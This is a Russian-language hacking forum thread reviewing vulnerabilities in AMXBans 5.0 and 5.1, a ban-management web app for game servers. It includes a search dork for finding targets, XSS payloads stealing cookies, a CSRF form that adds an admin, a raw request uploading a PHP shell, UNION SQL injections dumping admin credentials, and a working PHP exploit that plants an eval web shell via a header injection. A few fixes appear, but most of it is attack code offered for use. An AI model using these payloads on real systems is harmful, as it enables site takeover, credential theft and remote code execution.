Обзор AMXBans

Discussion in 'Веб-уязвимости' started by oRb, 21 May 2009.

  1. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    AMXBans 5.0 by YoMama/LuX & lantz69

    Site: http://www.amxbans.net/
    Dork: allinurl:ban_list.php amxbans
    Папки доступные на запись:
    include (скрипт сам создает конфиг, который располагается в этой папке)
    smarty/templates_c (скомпиленные шаблоны смарти)
    tmp (здесь сохраняются залитые на сервак списки банов)

    XSS
    /unavailable.php?message=%3Cscript%3Ealert(document.cookie)%3C/script%3E
    Необходимо: register_globals = On
    PHP:
    if ($_GET['msg'] == "frontend_disabled") {
        
    $message lang("_ERRORAMXBANSDISABLED");
    } else if (
    $_GET['msg'] == "setupfile_exists") {
        
    $message lang("_ERRORSETUPPHP");
    } else if (
    $_GET['msg'] == "magicquotes_off") {
        
    $message lang("_ERRORMAGICQUOTES");
    }
    //...
    $smarty->assign("message",$message);
    Подобные ошибки встречаются и в других скриптах. К примеру, /ban_details.php?ban_info[player_name]=%3Cscript%3Ealert(document.cookie)%3C/script%3E

    XSS (активная)
    /login.php?uid=%3Cscript%3Ealert(/xss/)%3C/script%3E
    /admin/log_search.php
    Необходимо: register_globals = On
    PHP:
    if(isset($_POST['uid'])){
        
    $_POST['uid'] = secure($_POST['uid']);
    }
    //...
        
    if (isset($_POST['uid'])) {
         
    $uid $_POST['uid'];
        } else if ( isset(
    $_SESSION['uid']) ){
         
    $uid $_SESSION['uid'];
        }
    //...
    $add_log    mysql_query("INSERT INTO $config->logs VALUES ('', '$now', '".$_SERVER['REMOTE_ADDR']."', 'unknown', 'admin logins', '$uid failed to login')") or die (mysql_error());
    Метод устранения:
    В начала файла include/functions.lang.php дописать
    PHP:
    function regGlobOff($array) {
        foreach(
    $array as $k => $v) {
            unset(
    $GLOBALS[$k]);
        }
    }
    error_reporting(0);
    regGlobOff($_POST);
    regGlobOff($_GET);
    regGlobOff($_COOKIE);
    Path disclosure
    Практически в каждом файле:
    PHP:
    // Start session
    session_start();
    Вставляем в идентификатор сессии запрещенные символы и получаем
    Code:
    Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /Library/WebServer/test/amxbans/ban_list.php on line 46
    
    Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /Library/WebServer/test/amxbans/ban_list.php:46) in /Library/WebServer/test/amxbans/ban_list.php on line 46
    
    Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /Library/WebServer/test/amxbans/ban_list.php:46) in /Library/WebServer/test/amxbans/ban_list.php on line 46
    Метод устранения:
    В каждом скрипте перед session_start поставить оператор подавления ошибок @

    CSRF
    Добавляет нового веб-админа с максимальными полномочиями. "Демо" сплойт:
    Code:
    <body onload="document.forms.admins.submit()">
    <form name='admins' method='post' action='http://test/amxbans/admin/admins_levels.php'>
    	<input type='hidden' name='sektion' value='webadmins'>
    	<input type='text' name='username' value="test">
    	<input type='text' name='password' value="test">
    	<input type='text' name='level' value='1'>
    	<input type='hidden' name='action' value="insert">
    </form>
    Метод устранения:
    Добавить следующий код, например в include/accesscontrol.inc.php
    PHP:
    if( $_SERVER['REQUEST_METHOD'] == 'POST')
        if(!
    preg_match('!^http(s)?://' preg_quote($_SERVER['HTTP_HOST']) . '!i'$_SERVER['HTTP_REFERER']))
            exit;
    Заливка шелла
    /admin/import_bans.php
    Имя файла для заливки должно заканчиваться на .cfg, и его размер не должен привышать 45000 байт. Загружать шелл надо указав тип файла "text/plain". Шелл зальется в папку tmp с тем же именем.
    Пример:
    Code:
    $nc localhost 80
    POST /amxbans/admin/import_bans.php HTTP/1.1
    User-Agent: Opera/10.00 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.0
    Host: test
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: en,ru;q=0.9,ja;q=0.8,fr;q=0.7,de;q=0.6,es;q=0.5,it;q=0.4,pt;q=0.3,pt-PT;q=0.2,nl;q=0.1,sv;q=0.1,nb;q=0.1,da;q=0.1,fi;q=0.1,pl;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    Referer: http://test/amxbans/admin/import_bans.php
    Cookie: amxbans=oRb%3Ad8578edf8458ce06fbc5bb76a58c5ca4%3A1%3A%3A971f14d9f928e6458ccf6e3d3cb13a54%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes; PHPSESSID=29d9830bde44023b1e1c2affc6d82324
    Cookie2: $Version=1
    Connection: Close
    TE: deflate, gzip, chunked, identity, trailers
    Content-Length: 566
    Content-Type: multipart/form-data; boundary=----------sLuN8T5jVOiPkDnr0wuySS
    
    -------VOiPkDnr0wuySS
    Content-Disposition: form-data; name="submitted"
    
    true
    ------------sLuN8T5jVOiPkDnr0wuySS
    Content-Disposition: form-data; name="banlog"; filename="info.php.cfg"
    Content-Type: text/plain
    
    <?php phpinfo(); ?>
    ------------sLuN8T5jVOiPkDnr0wuySS
    Content-Disposition: form-data; name="ban_reason"
    
    
    ------------sLuN8T5jVOiPkDnr0wuySS
    Content-Disposition: form-data; name="ban_length"
    
    
    ------------sLuN8T5jVOiPkDnr0wuySS
    Content-Disposition: form-data; name="importit"
    
    import
    ------------sLuN8T5jVOiPkDnr0wuySS--
    
    



    Таблицы:
    amx_admins_servers
    amx_amxadmins
    amx_banhistory
    amx_banreasons
    amx_bans
    amx_levels
    amx_logs
    amx_serverinfo
    amx_webadmins (id, username, password, level, logcode) //password = md5 хеш

    Cookies:
    Ставится 1 кука с именем amxbans. Ее содержимое: oRb%3Ad8578edf8458ce06fbc5bb76a58c5ca4%3A1%3A%3Ac2b6a0f098280fc8f4795e33b58a77ed%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes
    PHP:
    $cook            explode(":"$_COOKIE["amxbans"]);
        
    $uid            $cook[0];
        
    $pwd            $cook[1];
        
    $lvl            $cook[2];
        
    $uip            $cook[3];
        
    $logcode        $cook[4];
        
    $bans_add        $cook[5];
        
    $bans_edit        $cook[6];
        
    $bans_delete        $cook[7];
        
    $bans_unban        $cook[8];
        
    $bans_import        $cook[9];
        
    $bans_export        $cook[10];
        
    $amxadmins_view        $cook[11];
        
    $amxadmins_edit        $cook[12];
        
    $webadmins_view        $cook[13];
        
    $webadmins_edit        $cook[14];
        
    $permissions_edit    $cook[15];
        
    $prune_db        $cook[16];
        
    $servers_edit        $cook[17];
        
    $ip_view        $cook[18];
    В сессию отлично пишется php код. Достаточно просто обратится к скрипту с параметром newlang. /ban_search.php?newlang=%3C?%20eval($_GET[c])?%3E
    Получим:
    Code:
    lang|s:19:"<? eval($_GET[c])?>";uid|s:4:"test";pwd|s:32:"098f6bcd4621d373cade4e832627b4f6";uip|s:0:"";lvl|s:1:"1";userid|N;bans_add|s:3:"yes";bans_edit|s:2:"no";bans_delete|s:2:"no";bans_unban|s:2:"no";bans_import|s:2:"no";bans_export|s:2:"no";amxadmins_view|s:2:"no";amxadmins_edit|s:2:"no";webadmins_view|s:2:"no";webadmins_edit|s:2:"no";permissions_edit|s:2:"no";prune_db|s:2:"no";servers_edit|s:2:"no";ip_view|N;
    AMXBans работает только c magic_quotes = On !
     
    4 people like this.
  2. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    Обзор AMXBans (часть 2)

    Итак проект AMXBans ожил и 15 марта была зарелизена новая версия (5.1). Для тех кто не в курсе: AMXBans - это очень популярная система управления банами и админами на серверах CS 1.6. В новой версии не исправили старых багов, лишь добавили новых.

    XSS (register_globals=on)
    PHP:
    $resource    mysql_query("SELECT access, nickname FROM $config->amxadmins WHERE ashow = '1' ORDER BY access ASC") or die(mysql_error());
    while(
    $result mysql_fetch_object($resource)) {

            
    $amxadmins_info = array(
                
    "access"    => $result->access,
                
    "nickname"    => $result->nickname
                
    );
        
            
    $amxadmins_array[] = $amxadmins_info;
        }
    ...
    $smarty->assign("amxadmin",isset($amxadmins_array) ? $amxadmins_array "");
    /admins_list.php?amxadmins_array[999][nickname]=[XSS]

    XSS
    (так же актуально для предыдущей версии)
    PHP:
    $smarty->assign("this",$_SERVER['PHP_SELF']);
    /admin/add_ban.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

    Path disclosure
    PHP:
    session_start();
    ...
    if(
    mysql_num_rows($resource) == 0) {
            
    trigger_error("Can't find ban with given ID."E_USER_NOTICE);
        } else {
    /ban_details_ex.php?bhid=-1
    или измененное значение сессии.

    SQL-injection
    PHP:
        $bhid $_GET['bhid'];
        
    $resourcec    mysql_query("SELECT id, name, comment, email, addr, date FROM $config->amxcomments WHERE bhid =".mysql_escape_string($bhid)." ORDER BY date ASC") or die(mysql_error());
    /ban_details_ex.php?bhid=-1+union+select+1,2,concat_ws(0x3a,username,password,logcode),4,5,6+from+amx_webadmins

    SQL-injection (register_globals=on)
    PHP:
        $where[] = "address != 'localhost:27000'";


    $resource mysql_query("SELECT * FROM $config->servers WHERE ".implode(" AND ",$where)." ORDER BY hostname ASC") or die (mysql_error());
    /live.php?where[]=0+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10+from+amx_webadmins--+

    Blind SQL-injection exploit
    Скуль присутствует в ban_details.php и ban_details_ex.php, только ее необходимость многие могли бы поставить под сомнение, тк выше уже была описана инъекция с выводом. Но если File_priv = y, тогда можно залить шелл.
    Разработчики добавили возможность комментировать баны, и чтобы банлист не спамили, они прикрутили каптчу. Вот только реализовали они ее хреново:
    PHP:
    $rand mt_rand(1000000,9999999); 
    $rand base64_encode($rand); 
    $rand substr($rand07).""
    $rand str_replace("J""Z"$rand); 
    $rand str_replace("I""Y"$rand); 
    $rand str_replace("j""z"$rand); 
    $rand str_replace("i""y"$rand); 

    if(!isset(
    $_POST[action]) && $_POST[action] != "insert"){ 
        unset(
    $_SESSION['code']); 
        
    $_SESSION['code'] = "$rand"
    }
    ...
    if(
    $_POST['verify'] != $_SESSION['code']){ 
             
    $url      "$config->document_root"
             
    $delay   "5"
             echo 
    "Incorrect security code, please try again!";
             if(isset(
    $_GET["bhid"])) {
                
    $bhid $_GET['bhid'];
                echo 
    "<meta http-equiv=\"refresh\" content=\"".$delay.";url=\"ban_details_ex.php?bhid=$bhid\">";
            }
             exit(); 
    }
    Т.е. если сразу постить, код капчи не сгенерируется и будет равен пустой строке, следовательно каптча - не помеха. Сама уязвимость:
    PHP:
    if ((isset($_POST['action'])) && ($_POST['action'] == "insert")) {

    if (
    $_SERVER['HTTP_CLIENT_IP'])
    {
        
    $user_ip $_SERVER['HTTP_CLIENT_IP'];

    else if (
    $_SERVER['HTTP_X_FORWARDED_FOR'])
    {
        
    $user_ip $_SERVER['HTTP_X_FORWARDED_FOR'];

    else if (
    $_SERVER['REMOTE_ADDR'])
    {
        
    $user_ip $_SERVER['REMOTE_ADDR'];

    else
    {
        
    $user_ip "";
    }

    ...

    $name $_POST['name'];
    $comment $_POST['comment'];
    $email $_POST['email'];
    $bhid=$_GET["bhid"];

        
    $time time();
            
    $contact_flood=5*60;

        if(isset(
    $_GET['bhid'])) {
             
    $bhid $_GET["bhid"];
            
    $sql mysql_query("SELECT date FROM $config->amxcomments WHERE addr = '".$user_ip."' AND bhid = '".$bhid."' ORDER BY date DESC LIMIT 0, 1");
        }
    Ну и сам простенький сплойт:
    PHP:
    <?php
    $url 
    'http://test/amxbans51/';
    $text '<?php eval($_GET[c]);?>';
    $path '/Library/WebServer/test/amxbans51/';
    $file 'demos/shell.php';

    $postdata http_build_query(
        array(
            
    'action' => 'insert',
            
    'verify' => ""
        
    )
    );
    $opts = array('http' =>
        array(
            
    'method'  => 'POST',
            
    'header'  => "Content-type: application/x-www-form-urlencoded\r\n"
                        
    ."CLIENT-IP: 0' union select '".addslashes($text)."' into outfile '".$path.$file."'#",
            
    'content' => $postdata
        
    )
    );
    $context stream_context_create($opts);
    @
    file_get_contents($url.'ban_details.php?bhid=-1'false$context);
    echo 
    "Check: ".$url.$file."\n";
    ?>
    ps1: если на сервере стоит AMXBans это железобетонно означает, что на сервере magic_quotes=on
    ps2: если не удастся найти пароль по хешу, можно составить куку.
    ps3: шелл прекрасно льется через /admin/demo.php
     
    #2 oRb, 18 Jun 2009
    Last edited: 15 Nov 2009
    5 people like this.
  3. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    кстати, в AMXBans 5.0 by YoMama/LuX & lantz69 тоже есть раскрытие путей. только что ковырял сайт и наткнулся.
    Path disclosure
    Code:
    /ban_details.php?bhid=-1
     
    1 person likes this.
  4. kodzero

    kodzero Banned

    Joined:
    11 May 2009
    Messages:
    42
    Likes Received:
    27
    Reputations:
    0
    :D :D :D